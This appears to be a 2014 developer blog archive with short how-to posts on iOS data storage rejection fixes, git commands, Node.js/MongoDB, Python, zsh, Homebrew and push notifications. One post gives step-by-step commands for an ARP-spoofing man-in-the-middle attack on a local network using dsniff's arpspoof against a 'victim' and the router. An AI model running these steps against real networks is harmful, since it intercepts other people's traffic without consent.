2014年12月9日 星期二

iOS Reject Reasons by 2.23


2.23: Apps must follow the iOS Data Storage Guidelines or they will be rejected

We found that your app does not follow the iOS Data Storage Guidelines, which is required per the App Store Review Guidelines.

In particular, we found that on launch and/or content download, your app stores XX.XX MB. To check how much data your app is storing:

- Install and launch your app
- Go to Settings > iCloud > Storage & Backup > Manage Storage
- If necessary, tap "Show all apps"
- Check your app's storage

The iOS Data Storage Guidelines indicate that only content that the user creates using your app, e.g., documents, new files, edits, etc., should be backed up by iCloud.

Temporary files used by your app should only be stored in the /tmp directory; please remember to delete the files stored in this location when the user exits the app.

Data that can be recreated but must persist for proper functioning of your app - or because customers expect it to be available for offline use - should be marked with the "do not back up" attribute. For NSURL objects, add the NSURLIsExcludedFromBackupKey attribute to prevent the corresponding file from being backed up. For CFURLRef objects, use the corresponding kCFURLIsExcludedFromBackupKey attribute.

For more information, please see Technical Q&A 1719: How do I prevent files from being backed up to iCloud and iTunes?.

solution: Disable iCloudBackUp or Move File to tmp

Disable iCloudBackUP 
By Apple Stackoverflow
In App Launch
NSString *docsDir;
NSArray *dirPaths;
NSURL * finalURL;
dirPaths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
docsDir = [dirPaths objectAtIndex:0];
finalURL = [NSURL fileURLWithPath:docsDir];
[self addSkipBackupAttributeToItemAtURL:finalURL] 
- (BOOL)addSkipBackupAttributeToItemAtURL:(NSURL *)URL {
    assert([[NSFileManager defaultManager] fileExistsAtPath: [URL path]]);
    NSError *error = nil;
    BOOL success = [URL setResourceValue: [NSNumber numberWithBool: YES]forKey: NSURLIsExcludedFromBackupKey error: &error];
    if(!success){
        NSLog(@"Error excluding %@ from backup %@", [URL lastPathComponent], error);
        
    }
    return success;
}

2014年12月8日 星期一

Git useful command

  • git init
  • git clone
  • git status
    • Look untracked file & changes not staged for commit & changes to be commit up 
  • git diff
  • git add
    • add FILE to stage area
    • git add [FILE-NAME]
    • git add -A
    • git add .
  • git reset
    • Rset stage or commit
    • git reset [PATH]
    • git reset --soft/hard
    • git reset .
  • git checkout
    • checkout to commit or branch
    • git checkout [BRANCH]
    • git checkout [COMMIT-HASH]
    • git checkout [PATH]
  • git commit
    • change commit log
    • git commit --allow-empty
    • git commit -a
    • git commit -m
  • git log
  • git branch
    • git branch [NEW-BRANCH-NAME]
    • git branch -d/D [BRANCH]
    • git branch -m [PATH/NEW-NAME]
    • git branch -a
  • git merge
    • git merge
    • git merge --no-ff
  • git revert
    • git revert [COMMIT]
    • git revert -m1 [COMMIT-OF-MERGE]
  • git rebase
    • git rebase [BRANCH]
    • git rebase -i [COMMIT]
  • git push
    • git push --tags
    • git push [REMOTE] [BRANCH]
    • git push [REMOTE] :[BRANCH]
  • git pull
  • git stash
    • git stash list
    • git stash apply
    • git stash pop
    • git stash clear
  • git tag
    • git tag [NAME]
    • git tag -m [MESSAGE] [NAME]
    • git tag -d
    • git tag -n1
  • git clean
    • git clean -df
  • git flow command
    • git flow init
    • git flow feature start [SOME Feature]
    • git flow hotfix start [SOME Version]
    • git flow release start [SOME Version]
    • git flow feature finish [SOME Feature]
    • start (will new branch from develop currently commit)
    • finish (will merge branch to production and develop branches in release&hotfix , but finish feature branch only merge to develop branch)
  • IF need CI ,Suggest to use CMake flow. 

2014年11月28日 星期五

Node.js with Mongodb

Node.js which is popular server-side networking applications,
it has high performance on real-time web.
Mongodb which is NOSQL database,has document-oriented,ad hoc queries,indexing,replication,load balancing,file storage,aggregation,server-side JavaScript execution and capped collections.It matches with node.js application.
There is some step to install node.js with mongodb.

We use node-mongodb-native
Here is github link

1. Install Mongodb with Homebrew
$ brew install mongodb

2. Create the data directory
$ mkdit -p /data/db

3. Install NodeJS Driver
Under package.json file directory
$ npm install

4.Booting up a MongoDB Server
$ sudo mongod --dbpath=/data/db --port 27017




2014年10月13日 星期一

Install Python & pip & parser lib

Install Pyhon with Homebrew

$brew install python

Install Pip
$sudo easy_install pip

Install Virualenv
$pip install virtualenv

Install beautifulsoup4

$sudo pip install beautifulsoup4

Install lxml

$sudo pip install lxml   
Or
Install html5lib
$sudo pip install html5lib

Install WebServer & database
Mamp pro 3.0.6

Install Mysql dependent component for build
$brew install mysql-connector-c
$pip install MySQL-python

donwload MySQL-python-1.2.5 & install mysql

$cd /MySQL-python-1.2.5
$sudo python setup.py build
$sudo python setup.py install

2014年9月25日 星期四

Mac OS X ARP Spoofing

It`s a Man in the Middle Attack in WLAN or LAN uring ARP Spoofing.

Step 1.
$ Install macport

Step 2.
$ sudo port selfupdate

Stop 3.
$ sudo port install dsniff-devel   (or dsniff)

Step 4.
And find victim ip
$ arp -a

Step 5.
Open net forwarding,it will forward packets which recive to Internet Connection.
$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo sysctl -w net.inet.ip.fw.enable=1

Step 6.
Arpspoof Router
$ sudo arpspoof -i Yourineterface -t victim_ip router_ip
$ sudo arpspoof -i Yourineterface -t router_ip victim_ip

Example.
$ sudo arpspoof -i en0 -t 192.168.1.100 192.168.1.1
$ sudo arpspoof -i en0 -t 192.168.1.1 192.168.1.100

it`s done!!
Stop the Attack,using Ctrl+C in the terminal.



2014年9月20日 星期六

Ios Xcode Plugins CocoaPods

Install Cocoapods
$ sudo gem install cocoapods

Open New Xcode Project
$ cd project_folder
$ vi Podfile

Insert Podfile
platform :ios, '8.0'
pod 'JSONKit'

$ pod install
$ open Project.xcworkspace

Import example:
#import <JSONKit.h>

OS X Install oh-my-zsh

Install zsh
$ brew install zsh

Set shell
$ chsh -s /usr/local/bin/zsh

Install oh-my-zsh
$ git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh

Set oh-my-zsh
$ cp ~/.oh-my-zsh/templates/zshrc.zsh-tmplate ~/.zshrc
$ cat ~/.bash_profile >> ~/.zshrc

Install zsh-completions
$ brew install zsh-completions

Set zsh-completions
echo 'if [ -d ${HOME}/.zsh/zsh-completions/src ] ; then' >> ~/.zshrc
echo '   fpath=(${HOME}/.zsh/zsh-completions/src $fpath)' >> ~/.zshrc
echo '   compinit' >> ~/.zshrc

echo fi >> ~/.zshrc

Mac OSX Set shell Preference
shell->Preference->Shells open with->Command(complete path)
/bin/zsh -i

Open zsh

Rebuild zsh
$ rm -f ~/.zcompdump; compinit

OSX Install Homebrew & Rbenv & Cocoapods

Step 1.
Install Homebrew

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Step 2.
Install Rbenv
$ brew install rbenv
$ brew install ruby-build
Set shell Environment
$ sudo echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> /Users/Username/.bash_profile
$ echo 'eval "$(rbenv init -)"' >> /Users/Username/.bash_profile
Reload
$ source /Users/Username/.bash_profile 

Rbenv install plugin
$ mkdir -p ~/.rbenv/plugins 
$ git clone git://github.com/tpope/rbenv-aliases.git ~/.rbenv/plugins/rbenv-aliases
$ rbenv alisa 

Install Ruby
List Ruby version 
$ rbenv install --list
$ rbenv install 2.1.3
List Installed Ruby Version
$ rbenv versions
$ rbenv global 2.1.3

Step 3.
Install Cocoapods
$ sudo gem install cocoapods

2014年9月18日 星期四

iOS Push Notifition Note

For Debug
-(void)application:(UIApplication *)application didFailToRegisterForRemoteNotificationsWithError:(NSError *)error{
    NSLog(@"%@",error);

}

For Receiver
- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo {

}

For Receiver By Launching
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
NSDictionary* userInfo =
    [launchOptions objectForKey:UIApplicationLaunchOptionsRemoteNotificationKey];
    if (userInfo) {
         
     }
}

For Register to Server
- (void)application:(UIApplication *)application didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)deviceToken {
 NSString *deviceTokenString = [NSString stringWithFormat:@"%@", deviceToken];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@"<" withString:@""];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@">" withString:@""];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@" " withString:@""];

//Resgister to Server

}

//Set Notification

if ([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0)
{
    [[UIApplication sharedApplication] registerUserNotificationSettings:[UIUserNotificationSettings 
     settingsForTypes:(UIUserNotificationTypeSound | UIUserNotificationTypeAlert | UIUserNotificationTypeBadge)      
categories:nil]];
    [[UIApplication sharedApplication] registerForRemoteNotifications];
}
else
{
    [[UIApplication sharedApplication] registerForRemoteNotificationTypes:
     (UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert)];

}

判斷 APP 是否有在背景運作
if([[UIApplication sharedApplication] applicationState] != UIApplicationStateBackground) {
  // Do stuff  
}

The Notificaion Payload Block
{
   "aps": {
        "alert": "Hello World.",
        "badge": 9,
        "sound": "default"
    },
    "custom_key": "custom_value"
}


2014年9月16日 星期二

iOS 8 Simulator NSUserDefaults Path


[NSUserDefaults standardUserDefaults]
Plist Path
~/Library/Developer/CoreSimulator/Devices/<Unique Simulator ID>/data/Library/Preferences